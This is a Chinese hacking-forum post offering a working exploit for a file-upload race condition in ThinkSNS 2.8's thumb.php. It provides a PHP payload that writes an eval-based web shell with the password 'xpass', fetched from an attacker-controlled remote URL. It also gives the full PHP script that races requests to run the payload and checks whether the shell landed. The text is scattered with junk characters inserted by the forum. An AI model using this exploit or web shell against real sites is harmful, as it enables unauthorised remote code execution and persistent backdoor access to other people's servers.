找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1884|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
, Z) j( ~/ K) g3 F5 B! O3 B存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)8 N1 D9 x- [5 ?- g
漏洞文件
7 A+ E1 _. k$ o% @5 m存在漏洞的文件为:thumb.php& \5 A! ~. k" J9 q
作者:韦鲲鹏
7 _: u$ w7 J; `& `1、        准备如下PHP文件并上传到服务器(自己的)。
. {+ y+ d+ j7 b0 ]6 W8 g' r文件内容如下:* h& J, Q7 x" x0 t) H9 r3 l
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>! z' ]8 \! d6 t  P7 U1 G
2、        计算出临时的文件名:
3 N5 n$ K$ i/ T2 L这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 k/ ?: X5 }" s3 n# j" I; f+ Z
$ V" j3 Q2 x: H3、        上传临时文件。! \5 {! K& |- q
4、        访问临时文件。- `2 U- X8 K+ L$ h9 a! v4 H
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。); o/ i3 K& d& |6 _$ y$ D9 ]- z; F
Exploit文件内容如下:(这个我就不详细解释了)
: T: c6 L* h9 y7 Z" d- D+ z<?php2 M. t2 {/ \( F3 b& ^- K2 Q
error_reporting(0);2 D- t9 i2 m. S; @: L+ F
set_time_limit(0);, B" E% ]& B/ }: w
ini_set(“default_socket_timeout”, 5);; |, P0 e: X3 Z6 r2 [/ F3 t5 [) |
function http_send($host, $port, $headers) {. ]* {4 s0 e2 B3 C8 d
$fp = fsockopen($host, $port);) Q' F5 k. [9 C; Y
if (!$fp) die(‘Connection -> fail’);5 d  C3 q8 h+ j8 v6 D2 V
fputs($fp, $headers);
% I3 E, Z& Y9 Y! N* r% Nreturn $fp;. b3 ^# i6 S0 c6 m$ V: r
}
# p( {% S. \) g1 s) L5 S3 pfunction http_recv($fp) {
' l: Z1 y# h  V0 S7 D- q9 m/ Z5 j$ret=”";
9 n3 n' c! d% ?* O/ X* Ywhile (!feof($fp))* T0 q& |% x8 O
$ret.= fgets($fp, 1024);2 a5 C' N6 d2 I) c8 [
fclose($fp);) k( {# U' j* c4 ]4 G
return $ret;1 h6 V1 s% W, ~) Q
}5 ^/ r& @) T* S0 a
print “\n#  ThinkSns Arbitrary File Upload   #\n”;  D* C, |6 D7 T: y0 |) \
print “# Discovered by 韦鲲鹏 #\n\n”;
9 e6 @- e( t6 C1 \% pif ($argc < 4) {
7 @- m& C/ @  A  t( M' X  Hprint “Usage:   php <host> <path> <romote_url>\n”;
5 x% [6 L# z0 O4 W4 H* h% dprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
3 U7 k3 ^* X8 u: D. _, b& vdie();- _, E8 C0 y' W/ ~
}9 a+ Z0 V0 V# I' T+ I7 t+ @0 {
$host = $argv[1];
. H$ p- O7 Z' C0 \% j$path = $argv[2];( [) j3 L$ O# [% H9 S+ r2 z
$url = $argv[3];
! A* M2 l0 e9 j; D0 k  r2 u$i=0;6 G7 n8 z& F' i
//上传数据包
& ~, ~7 \% d3 H! `7 Z1 B; t$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;% e5 O7 h& P* i1 c2 [
$headers_up .= “Host: “.$host.”\r\n”;
1 t& `: k, Z" L0 g$headers_up .= “Connection: close\r\n\r\n”;- n1 T& ^& Z3 m! c, G1 r4 @
echo $headers_up;
, T  @" V0 {+ O& C' F$ M, z' b//临时文件访问数据包' ~# o2 n4 G, D+ w! k
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
9 g, E2 E' k9 l$headers .= “Host: “.$host.”\r\n”;# Q* {4 g3 V& ?8 \( N' K
$headers .= “Connection: close\r\n\r\n”;
9 g( @3 P% A5 O8 F6 t8 jecho $headers;  b8 R3 x, C& V6 v  Z/ i4 V5 _
while(++$i<10) {
! e8 g2 N; J8 Pfclose(http_send($host, 80, $headers));
+ V8 K) k! R+ z( F2 m& i8 x( `}1 M# {: q% d+ n' @" V+ T2 Y. M
fclose(http_send($host, 80, $headers_up));! i: s( s" ]; d# G0 Y3 l, I
while(++$i<50) {, F! t2 V7 S9 o5 g, x  ?* ?& P
fclose(http_send($host, 80, $headers));
$ t. A3 f) F# p% P+ ]& K}7 b( g  z& P$ {) T- G( ?, m- B. W
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
7 p: j; w$ S& L: k$headers .= “Host: “.$host.”\r\n”;! r; [, E% f6 L5 @$ i+ y7 u
$headers .= “Connection: close\r\n\r\n”;
$ B) T6 \% O, F% c* u9 G$res=http_recv(http_send($host, 80, $headers));
, P: p; \2 R5 m/ ?if(preg_match(‘/200 OK/’,$res)) {
4 s; w3 I/ |- D. uprint “Success!\n\n”;
+ t! `& N1 @  m} else {
) ^. R/ o  O; ]print “Fail!\n\n”;7 U' u8 E% `' X4 w
}
+ l7 b1 _, G" }+ ~: G' J$ W?>4 P0 \- j; R! u: s1 d8 S2 x& V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表